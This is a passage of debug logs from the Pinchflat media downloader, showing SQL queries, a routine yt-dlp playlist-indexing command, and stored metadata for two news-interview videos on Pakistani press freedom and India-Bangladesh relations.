'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:08:10.504 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=89.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:08:10.507 [debug] QUERY OK source="media_profiles" db=2.1ms queue=0.1ms idle=80.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:08:10.510 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=78.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:10.528 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 17:08:10.530 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=65.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:10.530 [debug] Current batch of media processed. Will check again in 1000ms 17:08:10.531 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=27.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:10.533 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=27.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:10.535 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5d/c2/5dc2faf279d7ef2de64c7dde9a79d2e1d0fa58fd463eb01c462f14510f0f3d92.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:08:11.531 [debug] Current batch of media processed. Will check again in 1000ms 17:08:12.532 [debug] Current batch of media processed. Will check again in 1000ms 17:08:13.533 [debug] Current batch of media processed. Will check again in 1000ms 17:08:14.534 [debug] Current batch of media processed. Will check again in 1000ms 17:08:15.535 [debug] Current batch of media processed. Will check again in 1000ms 17:08:16.536 [debug] Current batch of media processed. Will check again in 1000ms 17:08:16.718 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:08:16.721 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:08:16.723 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=618.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:08:16.726 [debug] QUERY OK source="media_items" db=1.5ms queue=0.9ms idle=620.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:08:16.732 [debug] QUERY OK source="source_metadata" db=1.2ms idle=628.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:08:16.736 [debug] QUERY OK source="media_metadata" db=3.2ms queue=0.1ms idle=630.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:08:16.739 [info] Sent 200 in 20ms 17:08:17.537 [debug] Current batch of media processed. Will check again in 1000ms 17:08:18.538 [debug] Current batch of media processed. Will check again in 1000ms 17:08:19.539 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 17:08:19.561 [debug] QUERY OK source="sources" db=20.8ms queue=0.1ms idle=1438.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:08:19.563 [debug] QUERY OK source="sources" db=0.6ms queue=0.3ms idle=1460.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:08:19.620 [debug] QUERY OK source="media_items" db=55.4ms queue=0.1ms idle=1111.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 17:08:19.713 [debug] QUERY OK source="media_items" db=53.2ms queue=0.1ms idle=557.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "bbcf1c8f-23dc-49a9-a7e0-8259c8cc54b9", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 17:08:19Z], ~U[2026-01-10 17:08:19Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 17:08:19.714 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=238.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:08:19.717 [debug] QUERY OK source="media_profiles" db=1.8ms queue=0.5ms idle=153.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:08:19.720 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=155.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 17:08:19.720 [debug] Current batch of media processed. Will check again in 1000ms 17:08:20.721 [debug] Current batch of media processed. Will check again in 1000ms 17:08:21.722 [debug] Current batch of media processed. Will check again in 1000ms 17:08:22.723 [debug] Current batch of media processed. Will check again in 1000ms 17:08:23.540 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5d/c2/5dc2faf279d7ef2de64c7dde9a79d2e1d0fa58fd463eb01c462f14510f0f3d92.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 17:08:23.543 [debug] Gracefully stopping file follower 17:08:23.544 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=964.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:08:23.546 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=442.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:08:23.547 [debug] QUERY OK source="media_items" db=0.5ms idle=444.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 17:08:23.609 [debug] QUERY OK source="media_items" db=60.8ms idle=445.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "fdbb2827-d2f9-4c29-b66c-aa48438e5bef", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 17:08:23Z], ~U[2026-01-10 17:08:23Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 17:08:23.611 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=65.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:08:23.612 [debug] QUERY OK source="media_items" db=0.5ms idle=64.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 17:08:23.638 [debug] QUERY OK source="media_items" db=24.9ms idle=65.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "7aab36cc-3804-44ec-989b-79a3f64e2c38", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 17:08:23Z], ~U[2026-01-10 17:08:23Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 17:08:23.644 [debug] QUERY OK source="sources" db=3.1ms queue=0.1ms idle=59.7ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 17:08:23Z], ~U[2026-01-10 17:08:23Z], 1] 17:08:23.648 [debug] QUERY OK source="media_items" db=3.1ms idle=36.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN 